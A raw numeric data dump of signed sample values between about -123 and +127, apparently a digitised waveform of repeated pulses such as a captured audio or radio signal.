+-35 +-31 +-28 +-25 +-23 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-88 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +-10 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +4 +4 +5 +5 +7 +7 +7 +6 +7 +9 +9 +9 +11 +11 +11 +10 +11 +11 +12 +12 +12 +13 +13 +11 +11 +12 +13 +13 +14 +14 +14 +13 +13 +14 +15 +14 +14 +14 +14 +13 +13 +13 +15 +15 +15 +14 +15 +14 +14 +14 +14 +14 +15 +14 +14 +13 +14 +14 +15 +15 +16 +15 +15 +14 +15 +14 +14 +14 +15 +15 +14 +13 +14 +14 +14 +15 +15 +15 +14 +14 +15 +14 +14 +15 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +109 +101 +96 +89 +84 +79 +74 +69 +65 +61 +58 +54 +50 +47 +45 +42 +40 +38 +36 +33 +32 +30 +30 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +95 +88 +83 +78 +73 +68 +64 +61 +57 +53 +50 +47 +45 +42 +40 +38 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-77 +-71 +-66 +-61 +-55 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-24 +-20 +-17 +-15 +-14 +-12 +-10 +-9 +-7 +-5 +-3 +-1 +-1 +0 +1 +3 +3 +4 +5 +7 +6 +6 +6 +7 +7 +8 +9 +10 +10 +10 +10 +11 +11 +11 +11 +13 +12 +11 +11 +12 +12 +13 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +13 +12 +13 +13 +14 +14 +14 +14 +14 +13 +14 +14 +14 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +101 +95 +89 +83 +77 +72 +68 +64 +59 +57 +53 +50 +47 +45 +42 +40 +38 +36 +35 +33 +30 +29 +28 +27 +25 +24 +23 +22 +21 +20 +19 +19 +18 +17 +16 +16 +15 +15 +14 +14 +13 +13 +13 +13 +12 +12 +12 +12 +11 +11 +11 +11 +10 +10 +10 +10 +-65 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-93 +-85 +-78 +-72 +-67 +-61 +-55 +-49 +-45 +-41 +-36 +-32 +-29 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-29 +-26 +-23 +-21 +-18 +-15 +-12 +-11 +-10 +-9 +-6 +-4 +-2 +-2 +0 +1 +1 +2 +3 +4 +5 +5 +7 +7 +7 +7 +8 +9 +9 +9 +11 +11 +11 +10 +11 +12 +12 +12 +13 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-120 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-70 +-64 +-59 +-53 +-48 +-44 +-39 +-34 +-31 +-28 +-26 +-23 +-19 +-16 +-14 +-11 +-10 +-9 +-9 +-7 +-6 +-3 +-2 +-1 +1 +2 +2 +3 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +10 +11 +10 +11 +12 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +97 +90 +84 +79 +75 +69 +65 +61 +58 +54 +51 +48 +46 +43 +40 +37 +36 +34 +32 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-85 +-77 +-71 +-67 +-61 +-54 +-49 +-45 +-40 +-36 +-32 +-30 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +112 +104 +97 +90 +85 +79 +74 +69 +65 +60 +57 +53 +51 +47 +45 +43 +40 +37 +36 +35 +33 +31 +30 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-101 +-92 +-84 +-77 +-71 +-66 +-60 +-55 +-49 +-44 +-40 +-37 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-14 +-11 +-10 +-9 +-8 +-4 +-2 +-1 +-1 +1 +1 +2 +3 +4 +5 +6 +6 +6 +6 +7 +7 +8 +9 +10 +10 +10 +11 +11 +11 +12 +12 +12 +12 +12 +12 +12 +12 +13 +13 +14 +15 +15 +14 +14 +14 +15 +14 +14 +14 +13 +12 +13 +13 +14 +14 +14 +14 +14 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-75 +-70 +-64 +-59 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-14 +-12 +-10 +-8 +-8 +-6 +-4 +-3 +-2 +0 +0 +1 +2 +3 +3 +5 +6 +7 +7 +7 +8 +8 +8 +10 +10 +11 +10 +11 +11 +11 +11 +12 +12 +12 +11 +12 +11 +12 +12 +13 +14 +14 +13 +13 +13 +14 +13 +14 +14 +15 +14 +14 +13 +13 +13 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +14 +13 +14 +14 +14 +14 +15 +15 +14 +14 +14 +15 +14 +14 +14 +14 +14 +13 +13 +14 +15 +14 +15 +15 +15 +14 +14 +15 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +95 +89 +83 +77 +74 +69 +64 +60 +57 +54 +51 +47 +46 +42 +40 +38 +37 +34 +34 +32 +31 +28 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +101 +95 +89 +83 +77 +73 +69 +64 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +29 +29 +28 +28 +26 +25 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-38 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +102 +96 +90 +85 +79 +74 +69 +65 +61 +58 +54 +51 +49 +46 +43 +41 +38 +37 +34 +32 +31 +29 +27 +26 +25 +25 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +109 +101 +95 +88 +83 +78 +73 +68 +64 +60 +56 +52 +50 +47 +44 +41 +40 +37 +35 +33 +32 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-85 +-78 +-71 +-65 +-59 +-54 +-48 +-44 +-39 +-36 +-33 +-30 +-26 +-24 +-21 +-18 +-15 +-14 +-12 +-11 +-9 +-7 +-5 +-3 +-1 +0 +0 +1 +2 +3 +4 +4 +5 +6 +7 +7 +8 +9 +10 +10 +11 +10 +10 +10 +11 +10 +11 +12 +12 +12 +13 +11 +11 +12 +14 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +12 +12 +13 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +97 +89 +84 +79 +74 +69 +65 +61 +58 +54 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +30 +27 +26 +25 +24 +23 +22 +21 +21 +19 +19 +18 +18 +16 +16 +16 +16 +15 +15 +14 +14 +13 +13 +12 +13 +12 +11 +11 +12 +11 +11 +10 +11 +10 +10 +-65 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-93 +-85 +-78 +-72 +-67 +-62 +-56 +-50 +-45 +-41 +-36 +-33 +-30 +-27 +-23 +-20 +-19 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-38 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-14 +-12 +-11 +-9 +-8 +-6 +-5 +-3 +-1 +0 +0 +2 +3 +4 +4 +5 +6 +7 +6 +7 +7 +8 +9 +10 +11 +11 +10 +11 +10 +10 +11 +11 +11 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-69 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-32 +-29 +-26 +-22 +-20 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-21 +-19 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +110 +102 +96 +89 +84 +79 +74 +68 +64 +60 +58 +54 +52 +49 +46 +43 +41 +38 +36 +33 +32 +29 +28 +27 +26 +24 +23 +23 +22 +20 +20 +20 +19 +18 +17 +17 +17 +15 +15 +15 +15 +14 +14 +13 +13 +12 +13 +12 +11 +11 +12 +11 +11 +11 +11 +10 +10 +10 +10 +9 +10 +10 +10 +9 +9 +10 +9 +9 +10 +10 +9 +9 +10 +9 +9 +9 +9 +10 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +8 +8 +9 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +10 +9 +9 +9 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +10 +9 +9 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +8 +9 +9 +10 +10 +10 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +-70 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-94 +-86 +-78 +-72 +-67 +-61 +-55 +-50 +-45 +-40 +-36 +-33 +-31 +-27 +-24 +-21 +-19 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-104 +-96 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-42 +-38 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +-14 +-12 +-11 +-9 +-7 +-6 +-5 +-2 +0 +1 +1 +2 +3 +4 +4 +5 +6 +6 +6 +7 +7 +7 +8 +9 +10 +10 +10 +10 +11 +11 +10 +11 +12 +13 +12 +12 +11 +12 +12 +13 +13 +14 +13 +13 +12 +13 +14 +14 +13 +13 +14 +14 +14 +14 +14 +14 +15 +15 +14 +14 +14 +14 +14 +15 +14 +14 +14 +15 +13 +13 +14 +15 +14 +15 +15 +15 +14 +14 +15 +16 +15 +15 +15 +15 +13 +13 +14 +15 +15 +15 +15 +15 +14 +14 +15 +15 +14 +15 +15 +15 +13 +13 +14 +15 +15 +15 +15 +15 +14 +14 +14 +15 +15 +15 +14 +15 +13 +13 +13 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-104 +-96 +-88 +-81 +-74 +-68 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-82 +-75 +-68 +-63 +-59 +-53 +-47 +-42 +-39 +-35 +-31 +-28 +-26 +-22 +-19 +-16 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +78 +74 +68 +65 +61 +57 +53 +50 +48 +45 +42 +40 +38 +36 +34 +32 +31 +30 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-49 +-44 +-40 +-36 +-32 +-30 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-90 +-82 +-75 +-68 +-62 +-59 +-54 +-48 +-42 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-16 +-14 +-11 +-10 +-9 +-8 +-6 +-5 +-3 +-2 +1 +1 +2 +2 +4 +4 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +11 +11 +10 +10 +11 +11 +12 +11 +12 +13 +12 +10 +12 +13 +13 +13 +14 +14 +14 +13 +13 +14 +14 +13 +14 +14 +14 +13 +13 +14 +15 +15 +15 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +13 +13 +14 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +15 +15 +15 +13 +13 +13 +15 +15 +15 +14 +15 +15 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +79 +74 +68 +64 +61 +57 +53 +50 +48 +45 +42 +40 +38 +36 +33 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 